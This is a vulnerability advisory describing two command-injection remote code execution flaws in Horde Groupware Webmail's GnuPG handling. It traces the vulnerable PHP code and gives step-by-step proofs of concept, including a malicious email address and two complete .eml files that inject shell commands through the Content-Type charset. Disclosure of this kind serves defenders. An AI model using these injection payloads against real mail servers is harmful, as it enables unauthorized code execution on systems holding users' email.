Horde Groupware Webmail 3/4/5 – Multiple Remote Code Executions
Source: https://blogs.securiteam.com/index.php/archives/3107 Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Horde Groupware Webmail. Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. Horde Groupware Webmail Edition bundles the separately available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, Gollem, and Trean. It can be extended with any of the released Horde applications or the applications that are still in development, like a bookmark manager or a file manager. Affected versions: Horde 5, 4 and 3 The vulnerabilities found in Horde Groupware Webmail are: Authentication Remote Code Execution Unauthentication Remote Code Execution Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. Vendor response Horde has released a patch to address the vulnerabilities. For more information: https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html Vulnerabilities Details Authentication Remote Code Execution Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server. For successful attack GnuPG feature should be enabled on the target server (path to gpg binary should be defined in $conf[gnupg][path] setting). Vulnerable code: encryptMessage() function of GPG feature. Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 416 */ public function encryptMessage($text, $params) /* 417 */ { /* … */ /* 435 */ foreach (array_keys($params['recips']) as $val) { /* 436 */ $cmdline[] = '--recipient ' . $val; #! vulnerable code /* … */ /* 444 */ /* Encrypt the document. */ /* 445 */ $result = $this->_callGpg( /* 446 */ $cmdline, /* 447 */ 'w', /* 448 */ empty($params['symmetric']) ? null : $params['passphrase'], /* 449 */ true, /* 450 */ true /* 451 */ ); $params[‘recips’] will be added to $cmdline array and passed to _callGpg(): Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 642 */ public function _callGpg( /* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, /* 644 */ $parseable = false, $verbose = false /* 645 */ ) /* 646 */ { /* … */ /* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); /* … */ /* 681 */ if ($mode == 'w') { /* 682 */ if ($fp = popen($cmdline, 'w')) { #! vulnerable code /* … */ We can see that our recipients (addresses) will be in command line that is going to be executed. encryptMessage() function can be reached by various API, requests. For example it will be called when user try to send encrypted message. Our request for encryption and sending our message will be processed by buildAndSendMessage() method: Path: /imp/lib/Compose.php /* 733 */ public function buildAndSendMessage( /* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array() /* 735 */ ) /* 736 */ { /* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session; /* 738 */ /* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit /* 740 */ * characters can be in the address fields. */ /* 741 */ $recip = $this->recipientList($header); /* ... */ /* 793 */ /* Must encrypt & send the message one recipient at a time. */ /* 794 */ if ($prefs->getValue('use_smime') && /* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT, IMP_Crypt_Smime::SIGNENC))) { /* ... */ /* 807 */ } else { /* 808 */ /* Can send in clear-text all at once, or PGP can encrypt /* 809 */ * multiple addresses in the same message. */ /* 810 */ $msg_options['from'] = $from; /* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body, $msg_options); #! vulnerable code In line 741 it tries to create recipient list: Horde parsers values of ‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In general there are restrictions for characters in addresses but if we will use the next format: display-name <"somemailbox"@somedomain.com> somemailbox will be parsed by _rfc822ParseQuotedString() method: Path: /Horde/Mail/Rfc822.php: /* 557 */ protected function _rfc822ParseQuotedString(&$str) /* 558 */ { /* 559 */ if ($this->_curr(true) != '"') { /* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); /* 561 */ } /* 563 */ while (($chr = $this->_curr(true)) !== false) { /* 564 */ switch ($chr) { /* 565 */ case '"': /* 566 */ $this->_rfc822SkipLwsp(); /* 567 */ return; /* 569 */ case "\n": /* 570 */ /* Folding whitespace, remove the (CR)LF. */ /* 571 */ if (substr($str, -1) == "\r") { /* 572 */ $str = substr($str, 0, -1); /* 573 */ } /* 574 */ continue; /* 576 */ case '\\': /* 577 */ if (($chr = $this->_curr(true)) === false) { /* 578 */ break 2; /* 579 */ } /* 580 */ break; /* 581 */ } /* 583 */ $str .= $chr; /* 584 */ } /* 586 */ /* Missing trailing '"', or partial quoted character. */ /* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); /* 588 */ } There are only a few limitations: we cannot use “ \n will be deleted we cannot use \ at the end of our mailbox After creation of recipient list buildAndSendMessage() will call _createMimeMessage(): Path: /imp/lib/Compose.php /* 1446 */ protected function _createMimeMessage( /* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array() /* 1448 */ ) /* 1449 */ { /* 1450 */ global $conf, $injector, $prefs, $registry; /* ... */ /* 1691 */ /* Set up the base message now. */ /* 1692 */ $encrypt = empty($options['encrypt']) /* 1693 */ ? IMP::ENCRYPT_NONE /* 1694 */ : $options['encrypt']; /* 1695 */ if ($prefs->getValue('use_pgp') && /* 1696 */ !empty($conf['gnupg']['path']) && /* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT, IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC, IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) { /* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); /* ... */ /* 1727 */ /* Do the encryption/signing requested. */ /* 1728 */ try { /* 1729 */ switch ($encrypt) { /* ... */ /* 1735 */ case IMP_Crypt_Pgp::ENCRYPT: /* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT: /* 1737 */ $to_list = clone $to; /* 1738 */ if (count($options['from'])) { /* 1739 */ $to_list->add($options['from']); /* 1740 */ } /* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list, ($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ? $symmetric_passphrase : null); /* 1742 */ break; Here we can see validation (1695-1696 lines) that: Current user has enabled “use_pgp” feature in his preferences (it is not a problem as an attacker can edit his own preferences) $conf[‘gnupg’][‘path’] is not empty. This value can be edited only by admin. So if we don’t have value here our server is not vulnerable. But if admin wants to allow users to use GPG feature he/she needs to define value for this config. Also we can see that in lines 1737-1739 to our recipient list will be added address “from” as well. Path: /imp/lib/Crypt/Pgp.php /* 584 */ public function impEncryptMimePart($mime_part, /* 585 */ Horde_Mail_Rfc822_List $addresses, /* 586 */ $symmetric = null) /* 587 */ { /* 588 */ return $this->encryptMimePart($mime_part, $this->_encryptParameters($addresses, $symmetric)); /* 589 */ } Before encryptMimePart() call Horde uses _encryptParameters() Path: /imp/lib/Crypt/Pgp.php /* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List $addresses, /* 537 */ $symmetric) /* 538 */ { /* ... */ /* 546 */ $addr_list = array(); /* 548 */ foreach ($addresses as $val) { /* 549 */ /* Get the public key for the address. */ /* 550 */ $bare_addr = $val->bare_address; /* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr); /* 552 */ } /* 554 */ return array('recips' => $addr_list); /* 555 */ } Horde will add to each address its Public Key. There a few source of Public Keys: AddressBook (we will use this source) Servers with Public Keys Note that Horde should be able to find Public Key for our “From” address as well. We can generate pair of PGP keys (https is required) or we can use the same trick with AddressBook (we can create some contact, add any valid Public PGP key, and add this address to default identity) encryptMimePart() will call encrypt() method Path: /Horde/Crypt/Pgp.php /* 773 */ public function encryptMIMEPart($mime_part, $params = array()) /* 774 */ { /* 775 */ $params = array_merge($params, array('type' => 'message')); /* … */ /* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params); It will call encryptMessage() Path: /Horde/Crypt/Pgp.php /* 554 */ public function encrypt($text, $params = array()) /* 555 */ { /* 556 */ switch (isset($params['type']) ? $params['type'] : false) { /* 557 */ case 'message': /* 558 */ $error = Horde_Crypt_Translation::t( /* 559 */ "Could not PGP encrypt message." /* 560 */ ); /* 561 */ $func = 'encryptMessage'; /* 562 */ break; /* ... */ /* 586 */ $this->_initDrivers(); /* 587 */ /* 588 */ foreach ($this->_backends as $val) { /* 589 */ try { /* 590 */ return $val->$func($text, $params); /* 591 */ } catch (Horde_Crypt_Exception $e) {} /* 592 */ } In conclusions: If Horde server has enabled “GnuPG feature” any unprivileged user is able to execute arbitrary code. Enable GPG feature for attacker account (“Enable PGP functionality?” checkbox on “PGP Configure PGP encryption support.” section in Prefferences->Mail page ) Create some contact in the attacker AddressBook, add any valid Public PGP key, and add this address to default identity Create another contact in the attacker AddressBook, add any valid Public PGP key, and change email address to some$(desired command to execute) contact@somedomain.com Create a new message to some$(desired command to execute) contact@somedomain.com Choose Encryption:PGP Encrypt Message option Click Send button And desired command will be executed on the Horde server. Proof of Concept – Authenticated Code Execution For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs that work on any platform”): https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova Step 1 – Login as admin (by default user:bitnami) and go to Administration -> Configuration and choose Horde (horde). Open GnuPG tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click “Generate Horde Configuration“: Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine. We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON). To use external Mail server we need to change the next setting: “Administrator Panel” -> “Configuration” -> “Horde” -> “Authentication” Step 2 – Configure Horde web-mail authentication ($conf[auth][driver]) to “Let a Horde application handle authentication” and click “Generate Horde Configuration”: Step 3 – logout and login with your gmail account. Currently we are login as regular user so we can try to execute desired commands: Go to Preferences -> Mail and click on PGP link. Check Enable PGP functionality? checkbox and click “Save”: Create “from” contact in our AddressBook: “Address Book -> New Contact -> in Address Book of …” Personal tab – Last Name: mymailboxwithPGPkey Communication tab – Email: mymailboxwihPGP@any.com Other tab – PGP Public Key: any valid Public PGP key. For example: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: SKS 1.1.6 Comment: Hostname: keyserver.ubuntu.com mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01 YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ 5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D /iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82 z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/ POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr 72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/ VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0 P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27 kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8= =RHjX -----END PGP PUBLIC KEY BLOCK----- Click “Add” button: Go to Preferences -> Global Preferences and click on Personal Information link. Put mymailboxwihPGP@any.com into field The default e-mail address to use with this identity and Click “Save”: Create our “to” contact in our AddressBook: “Address Book -> New Contact -> in Address Book of …” Personal tab – Last Name: contact_for_attack Communication tab – Email: hereinj@any.com Other tab – PGP Public Key: any valid Public PGP key (it can be the same as in the previous step) And click “Add” button: Inject our command: Click on Edit. Go to Communication Tab, put cursor in Email field and chose “Inspect Element (Q)” from context menu: Delete “email” from the type argument and close Inspector: 1 <input name="object[email]" id="object_email_" value="hereinj@any.com" type="email"> Edit the address as we want – for example hereinj$(touch /tmp/hereisvuln)@any.com and click “Save”: Create a new message ( Mail -> New Message) with our contact as recipient: Choose PGP Encrypt Message in Encryption option: Enter any subject and any content. Click “Send” We will get “PGP Error:…” It is ok – let’s check our server: We have a new file “hereisvuln” so our command was executed. Unauthentication Remote Code Execution Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server. Vulnerable code: decryptSignature() function of GPG feature. Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 539 */ public function decryptSignature($text, $params) /* 540 */ { /* ... */ /* 550 */ /* Options for the GPG binary. */ /* 551 */ $cmdline = array( /* 552 */ '--armor', /* 553 */ '--always-trust', /* 554 */ '--batch', /* 555 */ '--charset ' . (isset($params['charset']) ? $params['charset'] : 'UTF-8'), /* 556 */ $keyring, /* 557 */ '--verify' /* 558 */ ); /* ... */ /* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true); /* ... */ $params[‘charset’] will be added to $cmdline array and passed to _callGpg(): /* 642 */ public function _callGpg( /* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, /* 644 */ $parseable = false, $verbose = false /* 645 */ ) /* 646 */ { /* … */ /* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); /* … */ /* 681 */ if ($mode == 'w') { /* … */ /* 704 */ } elseif ($mode == 'r') { /* 705 */ if ($fp = popen($cmdline, 'r')) { /* … */ Our $params[‘charset’] will be in command line that is going to be executed. decryptSignature() is called from decrypt() method: Path – /Horde/Crypt/Pgp.php: /* 611 */ public function decrypt($text, $params = array()) /* 612 */ { /* 613 */ switch (isset($params['type']) ? $params['type'] : false) { /* 614 */ case 'detached-signature': /* 615 */ case 'signature': /* 616 */ /* Check for required parameters. */ /* 617 */ if (!isset($params['pubkey'])) { /* 618 */ throw new InvalidArgumentException( /* 619 */ 'A public PGP key is required to verify a signed message.' /* 620 */ ); /* 621 */ } /* 622 */ if (($params['type'] === 'detached-signature') && /* 623 */ !isset($params['signature'])) { /* 624 */ throw new InvalidArgumentException( /* 625 */ 'The detached PGP signature block is required to verify the signed message.' /* 626 */ ); /* 627 */ } /* 628 */ /* 629 */ $func = 'decryptSignature'; /* 630 */ break; /* ... */ /* 650 */ $this->_initDrivers(); /* 651 */ /* 652 */ foreach ($this->_backends as $val) { /* 653 */ try { /* 654 */ return $val->$func($text, $params); /* 655 */ } catch (Horde_Crypt_Exception $e) {} /* 656 */ } /* ... */ decrypt() with needed parameters is used in verifySignature(): Path – /imp/lib/Crypt/Pgp.php /* 339 */ public function verifySignature($text, $address, $signature = '', /* 340 */ $charset = null) /* 341 */ { /* 342 */ if (!empty($signature)) { /* 343 */ $packet_info = $this->pgpPacketInformation($signature); /* 344 */ if (isset($packet_info['keyid'])) { /* 345 */ $keyid = $packet_info['keyid']; /* 346 */ } /* 347 */ } /* 349 */ if (!isset($keyid)) { /* 350 */ $keyid = $this->getSignersKeyID($text); /* 351 */ } /* 353 */ /* Get key ID of key. */ /* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid)); /* 356 */ if (empty($signature)) { /* 357 */ $options = array('type' => 'signature'); /* 358 */ } else { /* 359 */ $options = array('type' => 'detached-signature', 'signature' => $signature); /* 360 */ } /* 361 */ $options['pubkey'] = $public_key; /* 363 */ if (!empty($charset)) { /* 364 */ $options['charset'] = $charset; /* 365 */ } /* 369 */ return $this->decrypt($text, $options); /* 370 */ } verifySignature() is called from _outputPGPSigned(): Path – /imp/lib/Mime/Viewer/Pgp.php /* 387 */ protected function _outputPGPSigned() /* 388 */ { /* 389 */ global $conf, $injector, $prefs, $registry, $session; /* 390 */ /* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap()); /* 392 */ $base_id = reset($partlist); /* 393 */ $signed_id = next($partlist); /* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next'); /* 395 */ /* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) { /* 397 */ return array( /* 398 */ $sig_id => null /* 399 */ ); /* 400 */ } /* ... */ /* 417 */ if ($prefs->getValue('pgp_verify') || /* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) { /* 419 */ $imp_contents = $this->getConfigParam('imp_contents'); /* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id); /* ... */ /* 433 */ try { /* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); /* 435 */ if ($sig_raw = $sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) { /* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw, $this->_getSender()->bare_address, null, $sig_part- > getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)); /* ... */ And it is used in _renderInline(): Path – /imp/lib/Mime/Viewer/Pgp.php /* 134 */ protected function _renderInline() /* 135 */ { /* 136 */ $id = $this->_mimepart->getMimeId(); /* 138 */ switch ($this->_mimepart->getType()) { /* ... */ /* 142 */ case 'multipart/signed': /* 143 */ return $this->_outputPGPSigned(); Let’s go back to _outputPGPSigned() method. We can see a few requirements before the needed call: $conf[‘gnupg’][‘path’] should be not empty. This value can be edited only by admin(if he/she wants to allow users to use GPG feature he/she needs to define value for this config). Current user has enabled “use_pgp” feature in his preferences Current user has enabled “pgp_verify” feature in his preferences Current user has enabled “pgp_verify” feature in his preferences Also we see that our charset value is taken from $sig_part -> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET) Our value will be stored during parsing of PGP parts: Path – /Horde/Crypt/Pgp/Parse.php /* 150 */ public function parseToPart($text, $charset = 'UTF-8') /* 151 */ { /* 152 */ $parts = $this->parse($text); /* ... */ /* 162 */ while (list(,$val) = each($parts)) { /* 163 */ switch ($val['type']) { /* ... */ /* 200 */ case self::ARMOR_SIGNED_MESSAGE: /* 201 */ if ((list(,$sig) = each($parts)) && /* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) { /* 203 */ $part = new Horde_Mime_Part(); /* 204 */ $part->setType('multipart/signed'); /* 205 */ // TODO: add micalg parameter /* 206 */ $part->setContentTypeParameter('protocol', 'application/pgp-signature'); /* 207 */ /* 208 */ $part1 = new Horde_Mime_Part(); /* 209 */ $part1->setType('text/plain'); /* 210 */ $part1->setCharset($charset); /* 211 */ /* 212 */ $part1_data = implode("\n", $val['data']); /* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data, "\n\n") + 2)); /* 214 */ /* 215 */ $part2 = new Horde_Mime_Part(); /* 216 */ /* 217 */ $part2->setType('application/pgp-signature'); /* 218 */ $part2->setContents(implode("\n", $sig['data'])); /* 219 */ /* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset); /* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n", $val['data']) . "\n" . implode("\n", $sig['data'])); /* 222 */ /* 223 */ $part->addPart($part1); /* 224 */ $part->addPart($part2); /* 225 */ $new_part->addPart($part); /* 226 */ /* 227 */ next($parts); /* 228 */ } /* 229 */ } /* 230 */ } /* 231 */ /* 232 */ return $new_part; /* 233 */ } It is called from _parsePGP(): Path – /imp/lib/Mime/Viewer/Plain.php × 1 2 3 4 5 6 7 8 /* 239 */ protected function _parsePGP() /* 240 */ { /* 241 */ $part = $GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart( /* 242 */ new Horde_Stream_Existing(array( /* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true)) /* 244 */ )), /* 245 */ $this->_mimepart->getCharset() /* 246 */ ); Our charset value is taken from CHARSET attribute of Content-Type header of parent MIMEpart. _parsePGP() is used in _getEmbeddedMimeParts() method and from Horde Webmail ver 5.2.0 it looks like: Path – /imp/lib/Mime/Viewer/Plain.php /* 222 */ protected function _getEmbeddedMimeParts() /* 223 */ { /* 224 */ $ret = $this->getConfigParam('pgp_inline') /* 225 */ ? $this->_parsePGP() /* 226 */ : null; We can see an additional requirement – our function will be called only if ‘pgp_inline‘ config parameter is “true”. It is defined in: Path – /imp/config/mime_drivers.php /* 37 */ /* Scans the text for inline PGP data. If true, will strip this data /* 38 */ * out of the output (and, if PGP is active, will display the /* 39 */ * results of the PGP action). */ /* 40 */ 'pgp_inline' => false Default value is false, so the major part of Horde servers is not vulnerable and our attack is relevant only if an admin manually has changed this line to ‘pgp_inline‘ => true. But in older versions (before 5.2.0) the code of _getEmbeddedMimeParts() is a bit different: Path – /imp/lib/Mime/Viewer/Plain.php /* 227 */ protected function _getEmbeddedMimeParts() /* 228 */ { /* 229 */ $ret = null; /* 230 */ /* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) && /* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) { /* 233 */ $ret = $this->_parsePGP(); /* 234 */ } So instead of requirement to have config parameter we have requirement of ‘pgp_scan_body‘ Preference of current user. And it is more likely to find a victim with needed preferences. We saw where our injected command is executed and from where and when it is taken During rendering of massage we: Will parse PGP values: #0 IMP_Mime_Viewer_Plain->_parsePGP() called at [/imp/lib/Mime/Viewer/Plain.php:225] #1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at [/Horde/Mime/Viewer/Base.php:298] #2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at [/imp/lib/Contents.php:1114] #3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186] #4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423] #5 IMP_Contents->getInlineOutput() called at [/imp/lib/Ajax/Application/ShowMessage.php:296] Will use them in: #0 IMP_Mime_Viewer_Plain->_parsePGP() called at [/imp/lib/Mime/Viewer/Plain.php:225] #0 IMP_Mime_Viewer_Pgp->_renderInline() called at [/Horde/Mime/Viewer/Base.php:156] #1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207] #2 Horde_Mime_Viewer_Base->_renderInline() called at [/Horde/Mime/Viewer/Base.php:156] #3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654] #4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462] #5 IMP_Contents->getInlineOutput() called at [/imp/lib/Ajax/Application/ShowMessage.php:296]] In conclusions: If Horde server has vulnerable configuration: Enabled “GnuPG feature” (there is path to gpg binary in $conf[gnupg][path] setting) Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in /imp/config/mime_drivers.php And the victim has checked the next checkbox in his/her preferences ( “PGP Configure PGP encryption support.” in Prefferences->Mail) : “Enable PGP functionality” “Should PGP signed messages be automatically verified when viewed?” if it is not checked our command will be executed when the victim clicks on the link “Click HERE to verify the message.” For versions before 5.2.0: “Should the body of plaintext message be scanned for PGP data” An attacker can create email with PGP data, put desired command into CHARSET attribute of ContentType header, and this command will be executed on Horde server when the victim opens this email. Proof of Concept – Remote Code Execution For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs that work on any platform”): https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova Step 1 – Login as admin (by default user:bitnami) and go to Administration -> Configuration and choose Horde (horde). Open GnuPG tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click “Generate Horde Configuration“: Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine. We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON). To use external Mail server we need to change the next setting: “Administrator Panel” -> “Configuration” -> “Horde” -> “Authentication” Configure the application authentication ($conf[auth][driver]) – change this option to “Let a Horde application handle authentication” and click “Generate Horde Configuration”. If we have Horde Webmail ver 5.2.0 or newer we need to edit /imp/config/mime_drivers.php file. Login to the console of bitnami image (default bitnami:bitnami) and run the next command: sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and save the changes. Step 2 – Logout and login with your gmail account. Step 3 – Go to Preferences -> Mail and click on PGP link: Check Enable PGP functionality checkbox and click “Save” Check Should PGP signed messages be automatically verified when viewed checkbox For versions before 5.2.0 check “Should the body of plain-text message be scanned for PGP data” checkbox Click “Save” For version before 5.2.0: Step 4 – Go to the Mail, take any mail folder (for example Drafts), and chose “Import” item from context menu and import attack_whoami.eml file (in the end of this blog). Click on the imported email: Our Horde serve is launched under daemon user Step 5 – We can do the same with attack_touch.eml (in the end of this blog) file (import it and click on the new mail) and check /tmp folder: attack_touch.eml Date: Fri, 04 Nov 2016 16:04:19 +0000 Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> From: Donald Trump <attacker@attacker.com> To: SomeUser@mydoamin.com Subject: PGP_INLine_touch_tmp_youarevuln X-IMP-Draft: Yes Content-Type: text/plain; CHARSET="US-ASCII`touch /tmp/youarevuln`"; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is a sample of a clear signed message. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz CvynscaD+wA= =Xb9n -----END PGP SIGNATURE----- attack_whoami.eml Date: Fri, 04 Nov 2016 16:04:19 +0000 Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com> From: Donald Trump <attacker@attacker.com> To: SomeUser@mydoamin.com Subject: PGP_INLine_whoami X-IMP-Draft: Yes Content-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes MIME-Version: 1.0 Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is a sample of a clear signed message. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz CvynscaD+wA= =Xb9n -----END PGP SIGNATURE----- |